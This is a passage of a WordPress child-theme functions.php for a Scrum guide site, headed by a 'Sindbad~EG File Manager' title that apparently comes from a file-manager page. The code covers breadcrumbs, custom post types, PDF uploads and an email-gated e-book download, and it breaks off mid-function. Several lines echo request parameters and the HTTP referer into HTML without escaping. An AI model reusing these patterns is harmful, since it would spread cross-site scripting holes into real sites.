Sindbad~EG File Manager
<?php
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles');
function my_theme_enqueue_styles() {
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri() . '/style.css',
array( $parent_style ),
wp_get_theme()->get('Version')
);
}
function add_cached_style() {
wp_enqueue_style( 'cached-style', get_stylesheet_directory_uri().'/style_cached.css', 'all');
}
add_action( 'wp_enqueue_scripts', 'add_cached_style',10);
function my_custom_scripts() {
wp_enqueue_script( 'custom-js', get_stylesheet_directory_uri() . '/js/default.js', array( 'jquery' ),'',true );
}
add_action( 'wp_enqueue_scripts', 'my_custom_scripts',10);
add_filter('wp_nav_menu_items', 'search_box_function', 10, 2);
function search_box_function($nav, $args) {
if ($args->theme_location == 'navigation-menu') {
return $nav . "<li><a href='https://www.quickscrum.com/quickscrum/registration' class='btn btnaccess'>TRY NOW - IT'S FREE</a></li><li><a href='https://www.quickscrum.com/quickscrum/login' class='login-btn'>LOG IN</a></li>";
}
return $nav;
}
add_filter('wp_nav_menu_items', 'search_box_video_function', 10, 2);
function search_box_video_function($nav, $args) {
if ($args->theme_location == 'video-menu') {
return $nav . "<li><a href='http://www.quickscrum.com/quickscrum/registration' class='btn btnaccess'>TRY NOW - IT'S FREE</a></li><li><a href='http://www.quickscrum.com/quickscrum/login' class='login-btn'>LOG IN</a></li>";
}
return $nav;
}
function custom_breadcrumbs() {
// Settings
$separator = '<img src="'.get_stylesheet_directory_uri().'/images/seprator.png">';
$breadcrums_id = 'breadcrumbs';
$breadcrums_class = 'breadcrumbs';
$home_title = 'Home';
// If you have any custom post types with custom taxonomies, put the taxonomy name below (e.g. product_cat)
$custom_taxonomy = 'product_cat';
// Get the query & post information
global $post,$wp_query;
// Do not display on the homepage
if ( !is_front_page() ) {
// Build the breadcrums
echo '<ul id="' . $breadcrums_id . '" class="' . $breadcrums_class . '">';
// Home page
echo '<li class="item-home guide-home"><a class="bread-link bread-home" href="' . get_home_url() . '" title="' . $home_title . '">' . $home_title . '</a></li>';
echo '';
echo '';
echo '<li class="separator separator-home"> ' . $separator . ' </li>';
if ( is_archive() && !is_tax() && !is_category() && !is_tag() ) {
echo '<li class="item-current item-archive"><strong class="bread-current bread-archive">' . post_type_archive_title($prefix, false) . '</strong></li>';
} else if ( is_archive() && is_tax() && !is_category() && !is_tag() ) {
// If post is a custom post type
$post_type = get_post_type();
// If it is a custom post type display name and link
$custom_tax_name = get_queried_object()->name;
echo '<li class="item-current item-archive"><strong class="bread-current bread-archive">' . $custom_tax_name . '</strong></li>';
} else if ( is_single() ) {
// If post is a custom post type
$post_type = get_post_type();
if($post_type != 'post') {
$post_type_object = get_post_type_object($post_type);
$post_type_archive = get_post_type_archive_link($post_type);
$cat_url = get_home_url();
$cat_url .= '/' . $post_type;
//echo '<li class="item-cat item-custom-post-type-' . $post_type . '"><a class="bread-cat bread-custom-post-type-' . $post_type . '" href="' . $post_type_archive . '" title="' . $post_type_object->labels->name . '">' . $post_type_object->labels->name . '</a></li>';
if($cat_url == 'https://guide.quickscrum.com/ebook') {
echo '<li class="item-cat item-custom-post-type-' . $post_type . '"><a class="bread-cat bread-custom-post-type-' . $post_type . '" href="https://guide.quickscrum.com/e-book/" title="' . $post_type_object->labels->name . '">' . $post_type_object->labels->name . '</a></li>';
echo '<li class="separator"> ' . $separator . ' </li>';
}else {
echo '<li class="item-cat item-custom-post-type-' . $post_type . '"><a class="bread-cat bread-custom-post-type-' . $post_type . '" href="' . $cat_url . '" title="' . $post_type_object->labels->name . '">' . $post_type_object->labels->name . '</a></li>';
echo '<li class="separator"> ' . $separator . ' </li>';
}
}
// Get post category info
$category = get_the_category();
if(!empty($category)) {
// Get last category post is in
$last_category = end(array_values($category));
// Get parent any categories and create array
$get_cat_parents = rtrim(get_category_parents($last_category->term_id, true, ','),',');
$cat_parents = explode(',',$get_cat_parents);
// Loop through parent categories and store in variable $cat_display
$cat_display = '';
foreach($cat_parents as $parents) {
if(is_single()) {
$cat_display .= '<li class="item-cat hide-cat"><a class="bread-link bread-home" href="'.get_home_url().'/blog" title="Home">Blog</a></li>';
$cat_display .= '<li class="separator hide-cat"> ' . $separator . ' </li>';
} else {
$cat_display .= '<li class="item-cat hide-cat">'.$parents.'</li>';
$cat_display .= '<li class="separator hide-cat"> ' . $separator . ' </li>';
}
}
}
// If it's a custom post type within a custom taxonomy
$taxonomy_exists = taxonomy_exists($custom_taxonomy);
if(empty($last_category) && !empty($custom_taxonomy) && $taxonomy_exists) {
$taxonomy_terms = get_the_terms( $post->ID, $custom_taxonomy );
$cat_id = $taxonomy_terms[0]->term_id;
$cat_nicename = $taxonomy_terms[0]->slug;
$cat_link = get_term_link($taxonomy_terms[0]->term_id, $custom_taxonomy);
$cat_name = $taxonomy_terms[0]->name;
}
// Check if the post is in a category
if(!empty($last_category)) {
echo $cat_display;
echo '<li class="item-current item-' . $post->ID . '"><strong class="bread-current bread-' . $post->ID . '" title="' . get_the_title() . '">' . get_the_title() . '</strong></li>';
// Else if post is in a custom taxonomy
} else if(!empty($cat_id)) {
echo '<li class="item-cat item-cat-' . $cat_id . ' item-cat-' . $cat_nicename . '"><a class="bread-cat bread-cat-' . $cat_id . ' bread-cat-' . $cat_nicename . '" href="' . $cat_link . '" title="' . $cat_name . '">' . $cat_name . '</a></li>';
echo '<li class="separator"> ' . $separator . ' </li>';
echo '<li class="item-current item-' . $post->ID . '"><strong class="bread-current bread-' . $post->ID . '" title="' . get_the_title() . '">' . get_the_title() . '</strong></li>';
} else {
echo '<li class="item-current item-' . $post->ID . '"><strong class="bread-current bread-' . $post->ID . '" title="' . get_the_title() . '">' . get_the_title() . '</strong></li>';
}
} else if ( is_category() ) {
// Category page
//$current_url = wp_get_referer();
$current_url = $_SERVER['REQUEST_URI'];
//$get_cat = explode("quickscrum.com/", $current_url);
$get_cat = explode("/", $current_url);
$get_custom_post_type_url = $get_cat[1];
$get_custom_post_type = explode("/", $get_custom_post_type_url);
$custom_post_type = $get_custom_post_type[0];
$custom_post_type = str_replace("-", " ", $custom_post_type);
$custom_post_type = str_replace("_", " ", $custom_post_type);
$current_custom_post_type = ucwords($custom_post_type);
$prevurl = $get_cat[0];;
//echo '<li class="item-cat"><a href="'. $current_url .'" title="' . $custom_post_type . '">' . $current_custom_post_type . '</a></li>';
echo '<li class="item-cat"><a href="https://guide.quickscrum.com/'. $get_custom_post_type[0] .'" title="' . $custom_post_type . '">' . $current_custom_post_type . '</a></li>';
echo '<li class="separator separator"> ' . $separator . ' </li>';
echo '<li class="item-current item-cat"><strong class="bread-current bread-cat">' . single_cat_title('', false) . '</strong></li>';
} else if ( is_page() ) {
// Standard page
if( $post->post_parent ){
// If child page, get parents
$anc = get_post_ancestors( $post->ID );
// Get parents in the right order
$anc = array_reverse($anc);
// Parent page loop
if ( !isset( $parents ) ) $parents = null;
foreach ( $anc as $ancestor ) {
$parents .= '<li class="item-parent item-parent-' . $ancestor . '"><a class="bread-parent bread-parent-' . $ancestor . '" href="' . get_permalink($ancestor) . '" title="' . get_the_title($ancestor) . '">' . get_the_title($ancestor) . '</a></li>';
$parents .= '<li class="separator separator-' . $ancestor . '"> ' . $separator . ' </li>';
}
// Display parent pages
echo $parents;
// Current page
echo '<li class="item-current item-' . $post->ID . '"><strong title="' . get_the_title() . '"> ' . get_the_title() . '</strong></li>';
} else {
// Just display current page if not parents
if ( get_the_title() == 'Article Sub Category' ) {
$current_category = $_REQUEST['category'];
$get_current_category = str_replace("-"," ",$current_category);
$category = ucwords($get_current_category);
echo '<li class="item-' . $post->ID . '"><a href="'.$_SERVER['HTTP_REFERER'].'" class="bread-current bread-' . $post->ID . '"> ' . $category . '</a></li>';
echo '<li class="separator"> ' . $separator . ' </li>';
echo '<li class="item-current"> '. get_the_category_by_ID($_REQUEST['id']).' </li>';
} else {
echo '<li class="item-current item-' . $post->ID . '"><strong class="bread-current bread-' . $post->ID . '"> ' . get_the_title() . '</strong></li>';
}
}
} else if ( is_tag() ) {
// Tag page
// Get tag information
$term_id = get_query_var('tag_id');
$taxonomy = 'post_tag';
$args = 'include=' . $term_id;
$terms = get_terms( $taxonomy, $args );
$get_term_id = $terms[0]->term_id;
$get_term_slug = $terms[0]->slug;
$get_term_name = $terms[0]->name;
// Display the tag name
echo '<li class="item-current item-tag-' . $get_term_id . ' item-tag-' . $get_term_slug . '"><strong class="bread-current bread-tag-' . $get_term_id . ' bread-tag-' . $get_term_slug . '">' . $get_term_name . '</strong></li>';
} elseif ( is_day() ) {
// Day archive
// Year link
echo '<li class="item-year item-year-' . get_the_time('Y') . '"><a class="bread-year bread-year-' . get_the_time('Y') . '" href="' . get_year_link( get_the_time('Y') ) . '" title="' . get_the_time('Y') . '">' . get_the_time('Y') . ' Archives</a></li>';
echo '<li class="separator separator-' . get_the_time('Y') . '"> ' . $separator . ' </li>';
// Month link
echo '<li class="item-month item-month-' . get_the_time('m') . '"><a class="bread-month bread-month-' . get_the_time('m') . '" href="' . get_month_link( get_the_time('Y'), get_the_time('m') ) . '" title="' . get_the_time('M') . '">' . get_the_time('M') . ' Archives</a></li>';
echo '<li class="separator separator-' . get_the_time('m') . '"> ' . $separator . ' </li>';
// Day display
echo '<li class="item-current item-' . get_the_time('j') . '"><strong class="bread-current bread-' . get_the_time('j') . '"> ' . get_the_time('jS') . ' ' . get_the_time('M') . ' Archives</strong></li>';
} else if ( is_month() ) {
// Month Archive
// Year link
echo '<li class="item-year item-year-' . get_the_time('Y') . '"><a class="bread-year bread-year-' . get_the_time('Y') . '" href="' . get_year_link( get_the_time('Y') ) . '" title="' . get_the_time('Y') . '">' . get_the_time('Y') . ' Archives</a></li>';
echo '<li class="separator separator-' . get_the_time('Y') . '"> ' . $separator . ' </li>';
// Month display
echo '<li class="item-month item-month-' . get_the_time('m') . '"><strong class="bread-month bread-month-' . get_the_time('m') . '" title="' . get_the_time('M') . '">' . get_the_time('M') . ' Archives</strong></li>';
} else if ( is_year() ) {
// Display year archive
echo '<li class="item-current item-current-' . get_the_time('Y') . '"><strong class="bread-current bread-current-' . get_the_time('Y') . '" title="' . get_the_time('Y') . '">' . get_the_time('Y') . ' Archives</strong></li>';
} else if ( is_author() ) {
// Auhor archive
// Get the author information
global $author;
$userdata = get_userdata( $author );
// Display author name
echo '<li class="item-current item-current-' . $userdata->user_nicename . '"><strong class="bread-current bread-current-' . $userdata->user_nicename . '" title="' . $userdata->display_name . '">' . 'Author: ' . $userdata->display_name . '</strong></li>';
} else if ( get_query_var('paged') ) {
// Paginated archives
echo '<li class="item-current item-current-' . get_query_var('paged') . '"><strong class="bread-current bread-current-' . get_query_var('paged') . '" title="Page ' . get_query_var('paged') . '">'.__('Page') . ' ' . get_query_var('paged') . '</strong></li>';
} else if ( is_search() ) {
// Search results page
echo '<li class="item-current item-current-' . get_search_query() . '"><strong class="bread-current bread-current-' . get_search_query() . '" title="Search results for: ' . get_search_query() . '">Search results for: ' . get_search_query() . '</strong></li>';
} elseif ( is_404() ) {
// 404 page
echo '<li>' . 'Error 404' . '</li>';
}
echo '</ul>';
}
}
/* E- Books Start */
if ( ! function_exists( 'ebooks_register' ) ) :
add_action( 'init', 'ebooks_register' );
function ebooks_register() {
$labels = array(
'name' => __( 'E-books', 'nicethemes' ),
'singular_name' => __( 'E-book', 'nicethemes' ),
'add_new' => __( 'Add New', 'nicethemes' ),
'add_new_item' => __( 'Add New E-book', 'nicethemes' ),
'edit_item' => __( 'Edit E-book', 'nicethemes' ),
'new_item' => __( 'New E-book', 'nicethemes' ),
'view_item' => __( 'View E-book', 'nicethemes' ),
'search_items' => __( 'Search E-books', 'nicethemes' ),
'not_found' => __( 'No E-books found', 'nicethemes' ),
'not_found_in_trash' => __( 'No E-books found in Trash', 'nicethemes' ),
'parent_item_colon' => ''
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'rewrite' => array( 'slug' => 'ebook', 'with_front' => false ),
'capability_type' => 'page',
'hierarchical' => false,
'menu_icon' => nice_admin_menu_icon( 'btn-article.png' ),
'menu_position' => null,
'supports' => array( 'title', 'editor', 'thumbnail', 'page-attributes', 'comments', 'author', 'revisions' )
);
register_post_type( 'ebook', $args );
}
endif;
if ( ! function_exists( 'ebooks_taxonomies' ) ) :
add_action( 'init', 'ebooks_taxonomies', 0 );
function ebooks_taxonomies() {
$nice_category_labels = array(
'name' => __( 'Categories', 'nicethemes' ),
'singular_name' => __( 'Category', 'nicethemes' ),
'search_items' => __( 'Categories', 'nicethemes' ),
'all_items' => __( 'All Categories', 'nicethemes' ),
'parent_item' => __( 'Parent Category', 'nicethemes' ),
'parent_item_colon' => __( 'Parent Category:', 'nicethemes' ),
'edit_item' => __( 'Edit Category', 'nicethemes' ),
'update_item' => __( 'Update Category', 'nicethemes' ),
'add_new_item' => __( 'Add New Category', 'nicethemes' ),
'new_item_name' => __( 'New Category', 'nicethemes' )
);
register_taxonomy( 'ebooks', array( 'ebook' ) ,
array(
'hierarchical' => true,
'labels' => $nice_category_labels,
'show_ui' => true,
'query_var' => true,
'rewrite' => array( 'slug' => 'ebooks' ),
)
);
$nice_tag_labels = array(
'name' => __( 'Tags', 'nicethemes' ),
'singular_name' => __( 'Tag', 'nicethemes' ),
'search_items' => __( 'Tags', 'nicethemes' ),
'all_items' => __( 'All Tags', 'nicethemes' ),
'parent_item' => __( 'Parent Tag', 'nicethemes' ),
'parent_item_colon' => __( 'Parent Tag:', 'nicethemes' ),
'edit_item' => __( 'Edit Tag', 'nicethemes' ),
'update_item' => __( 'Update Tag', 'nicethemes' ),
'add_new_item' => __( 'Add New Tag', 'nicethemes' ),
'new_item_name' => __( 'New Tag', 'nicethemes' )
);
register_taxonomy( 'ebooks-tag', array( 'ebook', 'faq' ) ,
array(
'hierarchical' => false,
'labels' => $nice_tag_labels,
'show_ui' => true,
'query_var' => true,
'rewrite' => array( 'slug' => 'ebook-tag' ),
)
);
register_taxonomy( 'post_format', 'ebooks',
array(
'public' => true,
'hierarchical' => false,
'labels' => array(
'name' => _x( 'Format', 'post format', 'nicethemes' ),
'singular_name' => _x( 'Format', 'post format', 'nicethemes' ),
),
'query_var' => true,
'show_ui' => false,
'_builtin' => true,
'show_in_nav_menus' => current_theme_supports( 'post-formats' ),
)
);
}
endif;
if ( ! function_exists( 'ebooks_columns' ) ) :
add_filter( 'manage_edit-ebook_columns', 'ebooks_columns' ) ;
function ebooks_columns( $columns ) {
$columns = array(
'cb' => '<input type="checkbox" />',
'title' => __( 'E-book', 'nicethemes' ),
'ebooks' => __( 'E-book Category', 'nicethemes' ),
'ebooks-tag' => __( 'Tags', 'nicethemes' ),
'author' => __( 'Author', 'nicethemes' ),
'date' => __( 'Date', 'nicethemes' )
);
return $columns;
}
endif;
if ( ! function_exists( 'ebooks_columns_custom' ) ) :
add_action( 'manage_ebook_posts_custom_column', 'ebooks_columns_custom', 10, 2 );
function ebooks_columns_custom( $column, $post_id ) {
global $post;
switch( $column ) {
/* If displaying the 'ebooks' column. */
case 'ebooks' :
/* Get the genres for the post. */
$terms = get_the_terms( $post_id, 'ebooks' );
/* If terms were found. */
if ( ! empty( $terms ) ) {
$out = array();
/* Loop through each term, linking to the 'edit posts' page for the specific term. */
foreach ( $terms as $term ) {
$out[] = sprintf( '<a href="%s">%s</a>',
esc_url( add_query_arg( array( 'post_type' => $post->post_type, 'ebooks' => $term->slug ), 'edit.php' ) ),
esc_html( sanitize_term_field( 'name', $term->name, $term->term_id, 'ebooks', 'display' ) )
);
}
/* Join the terms, separating them with a comma. */
echo join( ', ', $out );
}
/* If no terms were found, output a default message. */
else {
echo '—';
}
break;
/* If displaying the 'ebooks-tag' column. */
case 'ebooks-tag' :
/* Get the genres for the post. */
$terms = get_the_terms( $post_id, 'ebooks-tag' );
/* If terms were found. */
if ( ! empty( $terms ) ) {
$out = array();
/* Loop through each term, linking to the 'edit posts' page for the specific term. */
foreach ( $terms as $term ) {
$out[] = sprintf( '<a href="%s">%s</a>',
esc_url( add_query_arg( array( 'post_type' => $post->post_type, 'ebooks-tag' => $term->slug ), 'edit.php' ) ),
esc_html( sanitize_term_field( 'name', $term->name, $term->term_id, 'ebooks-tag', 'display' ) )
);
}
/* Join the terms, separating them with a comma. */
echo join( ', ', $out );
}
/* If no terms were found, output a default message. */
else {
echo '—';
}
break;
/* Just break out of the switch statement for everything else. */
default :
break;
}
}
endif;
if ( ! function_exists( 'ebooks_columns_sortable' ) ) :
add_filter( 'manage_edit-ebook_sortable_columns', 'ebooks_columns_sortable' );
function ebooks_columns_sortable( $columns ) {
$columns['ebooks'] = 'ebooks';
$columns['ebooks-tag'] = 'ebooks-tag';
$columns['author'] = 'author';
return $columns;
}
endif;
/* E- Books End */
/* File Upload In Ebooks Start */
function add_custom_meta_boxes() {
add_meta_box('wp_custom_attachment', 'Upload Attachment', 'wp_custom_attachment', 'ebook', 'normal', 'high');
}
add_action('add_meta_boxes', 'add_custom_meta_boxes');
function wp_custom_attachment() {
$filearray = get_post_meta( $_REQUEST['post'], 'wp_custom_attachment', true );
if ( is_array($filearray) ) {
$this_file = $filearray['url'];
}
wp_nonce_field(plugin_basename(__FILE__), 'wp_custom_attachment_nonce');
$html = '<p class="description">';
$html .= 'Upload your PDF here.';
$html .= '</p>';
$html .= '<input type="file" id="wp_custom_attachment" name="wp_custom_attachment" value="" size="25">';
if (is_array($filearray) && $this_file != '') {
$html .= '<p class="description">';
$html .= '<strong>Uploaded Attachement: </strong><span><a href="'.$this_file.'" target="_blank">'.$this_file.'</a></span>';
$html .= '</p>';
}
echo $html;
}
add_action('save_post', 'save_custom_meta_data');
function save_custom_meta_data($id) {
if(!empty($_FILES['wp_custom_attachment']['name'])) {
$supported_types = array('application/pdf');
$arr_file_type = wp_check_filetype(basename($_FILES['wp_custom_attachment']['name']));
$uploaded_type = $arr_file_type['type'];
if(in_array($uploaded_type, $supported_types)) {
$upload = wp_upload_bits($_FILES['wp_custom_attachment']['name'], null, file_get_contents($_FILES['wp_custom_attachment']['tmp_name']));
if(isset($upload['error']) && $upload['error'] != 0) {
wp_die('There was an error uploading your file. The error is: ' . $upload['error']);
} else {
add_post_meta($id, 'wp_custom_attachment', $upload);
update_post_meta($id, 'wp_custom_attachment', $upload);
}
}
else {
wp_die("The file type that you've uploaded is not a PDF.");
}
}
}
function update_edit_form() {
echo ' enctype="multipart/form-data"';
}
add_action('post_edit_form_tag', 'update_edit_form');
/* File Upload In Ebooks End */
/* Custom CSS Start */
add_action('admin_head', 'my_custom_css');
function my_custom_css() {
echo '<style>
#adminmenu .menu-icon-ebook div.wp-menu-image img {
display: block;
}
#adminmenu .menu-icon-ebook div.wp-menu-image:before {
content: "";
}
#adminmenu .menu-icon-ebook div.wp-menu-image:before {
content: "\f331";
}
#adminmenu .menu-icon-ebook div.wp-menu-image img {
display: none;
}
#adminmenu .menu-icon-case-study div.wp-menu-image img {
display: block;
}
#adminmenu .menu-icon-case-study div.wp-menu-image:before {
content: "";
}
#adminmenu .menu-icon-case-study div.wp-menu-image:before {
content: "\f116";
}
#adminmenu .menu-icon-case-study div.wp-menu-image img {
display: none;
}
</style>';
}
/* Custom CSS End */
/* Custom Pagination For Article Start */
function custom_pagination($pages = '', $range = 2)
{
$showitems = ($range * 2)+1;
global $paged;
if(empty($paged)) $paged = 1;
if($pages == '')
{
global $wp_query;
$pages = $wp_query->max_num_pages;
if(!$pages)
{
$pages = 1;
}
}
if(1 != $pages)
{
echo "<div class='pagination'>";
if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<a href='".get_pagenum_link(1)."'>«</a>";
if($paged > 1 && $showitems < $pages) echo "<a href='".get_pagenum_link($paged - 1)."'>‹</a>";
for ($i=1; $i <= $pages; $i++)
{
if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems ))
{
echo ($paged == $i)? "<span class='current'>".$i."</span>":"<a href='".get_pagenum_link($i)."' class='inactive' >".$i."</a>";
}
}
if ($paged < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($paged + 1)."'>›</a>";
if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($pages)."'>»</a>";
echo "</div>\n";
}
}
/* Custom Pagination For Article End */
/* Case Study Start */
if ( ! function_exists( 'case_study_register' ) ) :
add_action( 'init', 'case_study_register' );
function case_study_register() {
$labels = array(
'name' => __( 'Case Studies', 'nicethemes' ),
'singular_name' => __( 'Case Study', 'nicethemes' ),
'add_new' => __( 'Add New', 'nicethemes' ),
'add_new_item' => __( 'Add New Case Study', 'nicethemes' ),
'edit_item' => __( 'Edit Case Study', 'nicethemes' ),
'new_item' => __( 'New Case Study', 'nicethemes' ),
'view_item' => __( 'View Case Study', 'nicethemes' ),
'search_items' => __( 'Search Case Studies', 'nicethemes' ),
'not_found' => __( 'No Case Studies found', 'nicethemes' ),
'not_found_in_trash' => __( 'No Case Studies found in Trash', 'nicethemes' ),
'parent_item_colon' => ''
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'rewrite' => array( 'slug' => 'case-study', 'with_front' => false ),
'capability_type' => 'page',
'hierarchical' => false,
'menu_icon' => nice_admin_menu_icon( 'btn-case-study.png' ),
'menu_position' => null,
'supports' => array( 'title', 'editor', 'thumbnail', 'page-attributes', 'comments', 'author', 'revisions' ,'excerpt' )
);
register_post_type( 'case-study', $args );
}
endif;
if ( ! function_exists( 'case_study_taxonomies' ) ) :
add_action( 'init', 'case_study_taxonomies', 0 );
function case_study_taxonomies() {
$nice_category_labels = array(
'name' => __( 'Categories', 'nicethemes' ),
'singular_name' => __( 'Category', 'nicethemes' ),
'search_items' => __( 'Categories', 'nicethemes' ),
'all_items' => __( 'All Categories', 'nicethemes' ),
'parent_item' => __( 'Parent Category', 'nicethemes' ),
'parent_item_colon' => __( 'Parent Category:', 'nicethemes' ),
'edit_item' => __( 'Edit Category', 'nicethemes' ),
'update_item' => __( 'Update Category', 'nicethemes' ),
'add_new_item' => __( 'Add New Category', 'nicethemes' ),
'new_item_name' => __( 'New Category', 'nicethemes' )
);
register_taxonomy( 'case-study-category', array( 'case-study' ) ,
array(
'hierarchical' => true,
'labels' => $nice_category_labels,
'show_ui' => true,
'query_var' => true,
'rewrite' => array( 'slug' => 'case-study-category' ),
)
);
$nice_tag_labels = array(
'name' => __( 'Tags', 'nicethemes' ),
'singular_name' => __( 'Tag', 'nicethemes' ),
'search_items' => __( 'Tags', 'nicethemes' ),
'all_items' => __( 'All Tags', 'nicethemes' ),
'parent_item' => __( 'Parent Tag', 'nicethemes' ),
'parent_item_colon' => __( 'Parent Tag:', 'nicethemes' ),
'edit_item' => __( 'Edit Tag', 'nicethemes' ),
'update_item' => __( 'Update Tag', 'nicethemes' ),
'add_new_item' => __( 'Add New Tag', 'nicethemes' ),
'new_item_name' => __( 'New Tag', 'nicethemes' )
);
register_taxonomy( 'case-study-tag', array( 'case-study', 'faq' ) ,
array(
'hierarchical' => false,
'labels' => $nice_tag_labels,
'show_ui' => true,
'query_var' => true,
'rewrite' => array( 'slug' => 'case-study-tag' ),
)
);
register_taxonomy( 'post_format', 'case-study',
array(
'public' => true,
'hierarchical' => false,
'labels' => array(
'name' => _x( 'Format', 'post format', 'nicethemes' ),
'singular_name' => _x( 'Format', 'post format', 'nicethemes' ),
),
'query_var' => true,
'show_ui' => false,
'_builtin' => true,
'show_in_nav_menus' => current_theme_supports( 'post-formats' ),
)
);
}
endif;
if ( ! function_exists( 'case_study_columns' ) ) :
add_filter( 'manage_edit-case-study_columns', 'case_study_columns' ) ;
function case_study_columns( $columns ) {
$columns = array(
'cb' => '<input type="checkbox" />',
'title' => __( 'Case Study', 'nicethemes' ),
'case-study-category' => __( 'Case Study Category', 'nicethemes' ),
'case-study-tag' => __( 'Tags', 'nicethemes' ),
'author' => __( 'Author', 'nicethemes' ),
'date' => __( 'Date', 'nicethemes' )
);
return $columns;
}
endif;
if ( ! function_exists( 'case_study_columns_custom' ) ) :
add_action( 'manage_case-study_posts_custom_column', 'case_study_columns_custom', 10, 2 );
function case_study_columns_custom( $column, $post_id ) {
global $post;
switch( $column ) {
/* If displaying the 'category' column. */
case 'case-study-category' :
/* Get the genres for the post. */
$terms = get_the_terms( $post_id, 'case-study-category' );
/* If terms were found. */
if ( ! empty( $terms ) ) {
$out = array();
/* Loop through each term, linking to the 'edit posts' page for the specific term. */
foreach ( $terms as $term ) {
$out[] = sprintf( '<a href="%s">%s</a>',
esc_url( add_query_arg( array( 'post_type' => $post->post_type, 'case-study-category' => $term->slug ), 'edit.php' ) ),
esc_html( sanitize_term_field( 'name', $term->name, $term->term_id, 'case-study-category', 'display' ) )
);
}
/* Join the terms, separating them with a comma. */
echo join( ', ', $out );
}
/* If no terms were found, output a default message. */
else {
echo '—';
}
break;
/* If displaying the 'taf' column. */
case 'case-study-tag' :
/* Get the genres for the post. */
$terms = get_the_terms( $post_id, 'case-study-tag' );
/* If terms were found. */
if ( ! empty( $terms ) ) {
$out = array();
/* Loop through each term, linking to the 'edit posts' page for the specific term. */
foreach ( $terms as $term ) {
$out[] = sprintf( '<a href="%s">%s</a>',
esc_url( add_query_arg( array( 'post_type' => $post->post_type, 'case-study-tag' => $term->slug ), 'edit.php' ) ),
esc_html( sanitize_term_field( 'name', $term->name, $term->term_id, 'case-study-tag', 'display' ) )
);
}
/* Join the terms, separating them with a comma. */
echo join( ', ', $out );
}
/* If no terms were found, output a default message. */
else {
echo '—';
}
break;
/* Just break out of the switch statement for everything else. */
default :
break;
}
}
endif;
if ( ! function_exists( 'case_study_columns_sortable' ) ) :
add_filter( 'manage_edit-case-study_sortable_columns', 'case_study_columns_sortable' );
function case_study_columns_sortable( $columns ) {
$columns['case-study-category'] = 'case-study-category';
$columns['case-study-tag'] = 'case-study-tag';
$columns['author'] = 'author';
return $columns;
}
endif;
/* Case Study End */
if ( ! function_exists( 'nice_clean_live_search' ) ) :
function nice_clean_live_search( $query ) {
if ( ! is_admin() && $query->is_main_query() ) {
if ( $query->is_search ) {
if ( get_query_var('ajax') == true ) {
$post_type = apply_filters( 'nice_live_search_post_type', array( 'solution', 'feature', 'product-helps', 'product-help', 'post', 'scrum-guide', 'help', 'getting-started' ) );
$query->set( 'post_type', $post_type );
}
}
}
}
add_filter( 'admin_post_thumbnail_size', function ( $size, $thumbnail_id, $post ) {
$sizes = get_intermediate_image_sizes();
$result = array_search( 'thumbnail', $sizes );
$size = is_numeric( $result ) ? $sizes[ $result ] : array( 30, 30 );
return $size;
}, 10, 3 );
endif;
add_action( 'pre_get_posts', 'nice_clean_live_search' );
/* Email API With Download E-Book From URL - Start */
function ebook_download_func() { ?>
<?php
if (isset($_POST['download'])){
$api_msg = '';
$email = $_POST['download_email'];
if($_POST['download_email'] == '') {
$api_msg .= '<strong style="color: red;">Please enter your email id</strong>';
} else if ( is_email( $email ) ) {
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "https://qslite-live.azurewebsites.net/api/v1/Subscriber",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "\"$email\"",
CURLOPT_HTTPHEADER => array(
"Content-Type: application/json",
"cache-control: no-cache"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
$api_res = '';
if ($err) {
//$api_res .= "cURL Error #:" . $err;
$api_msg .= '<strong style="color: red;">'.$err.'</strong>';
} else {
$api_res .= $response;
/* Download E-Book From URL - Start */
$file = (types_render_field( 'free-e-book', array() ));
/*header('Content-type: application/pdf');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Transfer-Encoding: binary');
readfile($file);*/
echo '<script src="'.get_stylesheet_directory_uri().'/js/FileSaver.js"></script>';
echo '<script>
jQuery(document).ready(function () {
/*jQuery("html, body").animate({
scrollTop: jQuery("#download_email").offset().top
}, 800);*/
jQuery("#download_email").focus();
jQuery("span.process i").addClass("fa-spinner");
jQuery("span.process i").addClass("fa-spin");
var oReq = new XMLHttpRequest();
var URLToPDF = "'.$file.'";
oReq.open("GET", URLToPDF, true);
oReq.responseType = "blob";
oReq.onload = function() {
var file = new Blob([oReq.response], {
type: "application/pdf"
});
setTimeout( function(){
jQuery("span.process i").removeClass("fa-spinner");
jQuery("span.process i").removeClass("fa-spin");
} , 2000 );
saveAs(file, "'.basename($file).'");
};
oReq.send()
});
</script>';
/* Download E-Book From URL - End */
}
//$api_msg .= '<strong style="color:green;">'.$file.'</strong>';
} else {
$api_msg .= '<strong style="color: red;">email address is not valid.</strong>';
}
}
?>
<form method="post" action="">
<input type="text" required="required" value="" name="download_email" id="download_email" placeholder="Write down your email" />
<br/>
<?php
if ( isset($api_msg) && $api_msg != '' ) { ?>
<div class="email_api_response">
<?php echo $api_msg; ?>
</div>
<?php } ?>
<!-- <input type="submit" name="download" class="ebook_download_btn" value="Download Now" />-->
<button class="buttonload" type="submit" name="download">
<span class="process"><i class="fa"></i></span><span class="text">Download Now</span>
</button>
<div style="display: none;" class="download_loader">
<img style="width: 30px;" src="<?php echo get_stylesheet_directory_uri() ?>/images/spinner.png" />
</div>
</form>
<?php }
add_shortcode('ebook_download','ebook_download_func');
/* Email API - Start */
function subcribe_now_func() { ?>
<?php
if (isset($_POST['submit'])){
$api_msg = '';
$email = $_POST['email'];
if($_POST['email'] == '') {
$api_msg .= '<strong style="color: red;">Please enter your email id</strong>';
} else if ( is_email( $email ) ) {
